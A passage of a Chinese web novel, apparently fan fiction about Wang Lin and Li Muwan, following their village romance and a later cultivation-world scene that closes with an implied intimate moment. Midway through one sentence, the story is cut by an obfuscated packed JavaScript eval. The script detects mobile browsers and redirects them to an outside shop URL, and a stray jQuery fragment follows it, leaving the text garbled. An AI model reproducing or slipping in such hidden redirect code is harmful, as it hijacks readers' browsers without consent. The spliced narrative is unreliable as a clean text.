“让二老为孩儿操心,铁柱不孝,”王林放下手中刻刀,跪了下去,压着木碎飒飒作响,“儿一定会考取功名,到时候定会带个好媳妇回来。”
王天水吐出一缕烟雾,“铁柱长大了,有自己的想法。”
“你可是不喜欢叶家姑娘?还是看中了哪家姑娘?”周英素询问道。
“也罢,铁柱若考取了功名,在京城谋了官职,到时候不愁没有好姑娘,孩儿他娘,晚些我们去一趟谢三婶家,好好谢谢人家张罗,此事是我们家做的不对,也当登门以表歉意才对。”王天水扶起他。
“爹,娘,铁柱陪你们一块去。”
王天水拍了拍他肩头:“铁柱你在家温书,听爹娘的,婉儿出去了,你等她回来,过几日这批木雕完工后,我同你娘要去一趟县城。”
“去县城做什么?”
“你四叔给你爹接了一批木雕单子,工期急,县城离家又远,索性搬去那,娘得去照顾你爹起居,还能帮衬些,铁柱你在家好好温书,跟婉儿也要互相照顾,咱们家既收留了她,就得对她负责,人活一世,不求大富大贵,只求心安理得,你可明白?”
“娘,孩儿知道。”
“婉儿出去了,晚些若是回来,你别总凶她。”周英素教训的语气,却满脸慈爱。
王林摸摸脑袋,像是受了训,“我哪里凶她了。”
“好了好了,走吧,再迟就晚了。”
二老出去后,王林专注手上的活,两个时辰后,一支桃木簪雕得栩栩如生,通体油亮,那朵莲花半开状的,惟妙惟肖。
身上落了许多木碎,王林起身将屋里的杂物收好,又扫净了木碎,院里栅栏推了,李慕婉像孩子一样,往院里喊:“周婶,王叔,婉儿回来了。”
她又朝西厢房去,见门掩着,以为王林在里头温书,“阿兄,你在里边吗?阿兄?”
王林立在堂屋前,日光打在发梢,发带随风扬起,“在这。”
李慕婉额头冒着细汗,发鬓打湿了些,贴在脸侧,王林见她气息微喘,“你做什么去了?”
李慕婉衣袖擦着汗,扬唇道:“去花溪村看房子了,王浩和花影陪我一块去,我觉得成,租契明日去签,只是,明日我要去镇子等哥哥的信,明日有一批行商到清平镇,我想去看看。”
“那你租契怎么签?”王林步入堂内,坐了下来,随手倒了杯冷茶,移到李慕婉跟前。
李慕婉跟着对面坐下,端了茶润口,“王浩说替我去签,也只能麻烦他了。”
婚事成不了,她也没必要再搬出去,只是王林没提,只将那支桃木莲花簪递过去。
“呐,你的簪子。”
李慕婉欣喜接过,爱不释手打量着,喟叹道,“阿兄这么快便雕好了?阿兄的手艺当真细致。”
“随手雕的,不是什么精细物。”王林看见她头上还是昨晚那支树枝。
李慕婉察觉他的视线,有些不好意思,取下那支桃木枝,重新捋发后挽起簪上,“阿兄,好看吗?”
王林愣了须臾,看似漫不经心轻咳了两声,“嗯,喜欢就好。”
她本就生得好看,清澈明亮的眸子似装满星辰,眨一眨眼,眼波流转,半开的莲花仿若盛放。
“喜欢,”李慕婉抚着发簪,“只要是阿兄送的,婉儿都喜欢。”
王林面色坦然,耳后根却不自觉红了彻底,李慕婉见着人影已经出了正屋,回到西厢房。
王林坐在长木桌前随手拿了本书,翻了几页也看不进去,上午睡的一觉,下午坐那刻了两个时辰,眼下又是犯困,想起李慕婉送来的提神香,他点了一支,看了半个时辰书。
李慕婉进来添茶时,只见王林趴在长木桌睡着了,她很少见他温书时打盹,门是半掩的,她推开时动作轻到极点,生怕弄出动静。
待放下茶壶,又去屏风后衣架拿了件外袍,他的衣裳拢共就那几身,虽只是麻布素衣,可穿在身上却甚好看。
盖袍子的动作也是极轻,见王林没有反应,李慕婉这才松口气,替他将书案拾掇好,也没有离去,就在屋内坐着。
屋子静的能听见王林轻微的鼾声,看得出来他是困急了,不若不会李慕婉在屋内做了这么些活也没醒。
她是第一次敢这么明目张胆的窥视他,打量他,平日正视他也只是一扫而过,不敢多看。
他五官生得俊朗深邃,鼻梁高挺,睫羽浓密,唇瓣适中,血色红润。李慕婉看得出神,忍不住抬手轻触,鼻尖触感冰凉,肤色白皙,睡着时书生温润的清朗气质越发明显,她便像欣赏一株高山雪莲,思绪纷繁。
不知过了许久,李慕婉才收回视线,小心翼翼离开西厢房,她将那支桃木枝插在一个小瓷瓶里,放在妆台一角,又折了支海棠点衬,为简谱的房间添了几分雅致。
王林宽肩微动,外袍下滑落地。他直起身躯,打盹前看得那本书叠放书案,伸手捡起落地的外袍,水杯的茶是满的,书案整齐划一。他便知晓是谁来过了,大掌端起杯,浅酌几口润喉,屋外日光下沉躲入西山,远处山前环绕了只山鹰,久久盘旋。
王天水和周英素回到家中,眼泛疲态,王林备好饭菜,李慕婉替他打下手,饭菜做得简单,一锅稀饭,几碟小菜和一盘时蔬,王林没有问也知道爹娘把事办成了,可饭桌上谁都没提,李慕婉并不知此事。
***
翌日李慕婉上镇子等回信,出门没多时,王林拿了那支捡回莲花簪后也出了小院。李慕婉在木雕铺子等到下半日,来往的商船已经停了,码头闭港,可却仍是没有燕州来的信。
不知不觉已过了三个月,竟一点音信都无,奈何李慕婉再乐观,也难免担忧起李奇庆的安危。若他回到燕州,想必也同自己一般急切寻着音信,思及此事,李慕婉更是低落。
一日的希望随着时间流逝一点一滴消耗殆尽,积累了整日的失落和委屈来势汹汹。
哥哥没有音信,娘的簪子也丢了,霎时间心头酸涩难忍,眼眶泛起水光。她在镇口往王家村方向走回,每走一步都越发沉重,渐渐地水光凝成滴,似珍珠断断续续掉落,浸湿了衣袖滑落至手背。
她哽着声音,不敢哭出来,口中尝到一股咸涩,忽的肩头触感传来,听见熟悉的声音叫了她一声。
“李慕婉!”
李慕婉本能转过身,对上那人视线时,一滴晶莹剔透的泪珠不自觉滑落,“嗯?阿兄?”
不知怎的,见着王林这刻,积攒已久的情绪崩决,断断续续的泪点汇成洪流,她哭的更是委屈,她越想忍住克制,却发现越是难以隐忍,哽咽声逐渐放大转而抽泣。
“你,怎么了?”王林不知所措,见她哭得凶,不由面露焦急之色,“可是有人欺负你了?”
王林的话音轻柔,如同哥哥那般温暖,她不知他为何出现在这,但是看见他那刻,她便想释放身上的压力,委屈难忍,哭着可怜,“阿,阿兄……我,我没有哥哥的音信,我找不到我哥了……”
“婉儿,婉儿寄了那么多封信,一封都没有,没有……哥哥会不会,会不会出了什么事?”
他就定定站在那,目睹自己哭,王林不会安慰人,她面颊淌满了泪水,他犹豫良久,终是抬手,用衣袖替她擦了泪,“你兄长一定会平安无事的,没有消息也算是好消息,你再耐心等等!”
李慕婉仍是不停,哭声越发响亮,路过的人时不时投来目光,像是王林把人家怎么了似的。王林被注视着浑身不舒服,只能哄道:“别哭了,你兄长也不想看到你这般伤心。”
“是我没用,倘若当初没有被劫匪掳走,就不会与哥哥走散,连娘亲留给我的簪子也弄丢了,婉儿太没用了。”李慕婉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735609|144902||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
哭着说,难得见她这般伤心又不遗余力的表露。
“不是你的错。”
“阿兄,你,你怎么在这?”她倒是没哭糊涂。
“来镇上办点事,”王林见她情绪有所缓和,“回家吧,回去好生等着音信就是,你兄长吉人自有天相,别多虑。”
李慕婉擦干泪,抽泣也止住了,只是时不时还会哽咽两下,她当真是不想哭了,可却是抑制不住。
“嗯,阿兄,我想坐马车回去,还得去王浩那把租契拿回来。”哭过了正事也不能落下。
“嗯,”空的马车没有,都已坐满了人,王林只能拦下一架牛车,“不用去拿租契了,房子我给你退掉了。”
“哈?”李慕婉刚收回的情绪又要溢出来,见状王林解释说:“跟叶家的婚事不谈了,未考取功名前,我不会考虑成婚的事,你只管安心住下,什么时候李兄来接你,你再什么时候离开。”
“不谈婚事了?”李慕婉声音沙哑,还有哭腔,说着又要哭,“是不是因为婉儿还住在这,叶家才不同意?”
“我能搬走的,阿兄……”
眼看又要哭,王林深吸口气,生硬道:“不许哭,不是因为你,爹娘昨日已经拒了。”
李慕婉才想起前夜他在自己跟前说不喜欢叶清儿,“那,那你……”
她肿着眼睛呢喃着,却不知要说什么,王林只是静静看着她,见她模样有些可爱,又让人心疼。
“眼泪收回去,待会回家娘看见你这副模样,还以为我欺负你了。”王林这话是故意逗她的。
李慕婉忙擦干余泪:“没,阿兄没有欺负我。”
*******************
李慕婉近日打坐时总会回想起那日脑中苏醒的记忆,饶是自己再努力,记忆也是模糊,无法再往下探查。
湖心亭上她的琴音中带着愁丝,二百年来,这记忆都没有苏醒,可自桃林里使用了窥视镜后,记忆才有所复苏。王林不得不探究其中,难不成当真如李慕婉所说,这是窥视镜的反噬作用。
他负手而立于莲花池窥视镜下,窥视镜透出的灵力无比强大,自隐居之后灵力便收复自如,这些日子他也自有体会,自身体内灵力攀升太快,以他修为大可全然吸收不受影响。
他注视着湖心亭抚琴的背影,面露担忧之色,“许是婉儿受了这窥视镜内的灵力波动,是以才会记起那些陈旧记忆。”
李慕婉仅仅是记得他自断生机只为复活自己,便已陷入痛苦深渊,可若是她继续想起更多的,王林想到此处,断断不会让这种事情发生。
旋即,他双十合印,指尖现出金红色光圈,光圈波动不断上升,一道禁制隔绝了窥视镜所散发出的灵力。
琴音即止,李慕婉缓缓起身,瞬移到王林身旁,眼前的上古禁制复杂,就连精通阵法的她也叹为观止,“师兄,为何要用禁止隔绝窥视镜啊?”
王林收决搂过李慕婉腰肢,“婉儿,我知你不忍,那些记忆早已是千年前之事了,你不要想,这窥视镜灵力太过充盈,启动后泄出的灵力庞大,你可有觉着这些日子修为有所提升了?”
李慕婉闭目感受,确实是有这种感觉,她原本没太在意,只因王林这二百年都在助自己吸收稳定灵力。
“确实如此,可用禁制隔绝就可以了么?”李慕婉隐隐觉得体内变化并非是受窥视镜泄出的灵力所影响,至于那些记忆由来,本应是王林的,她拥有了他的记忆……
“婉儿。”王林搂腰的手越锢越紧,他神色里漫出的柔情带了无尽的疼惜,李慕婉受到一股热流,身子轻盈瘫软,天幕中桃花洒落,粉色弥漫整个莲花池。
王林带着人瞬移到二人寝榻,是轻柔的反复厮磨,轻纱帐内红潮滚动,掩盖了风月事,却掩盖不了轻帐里散发出的灵气,修为还在攀升……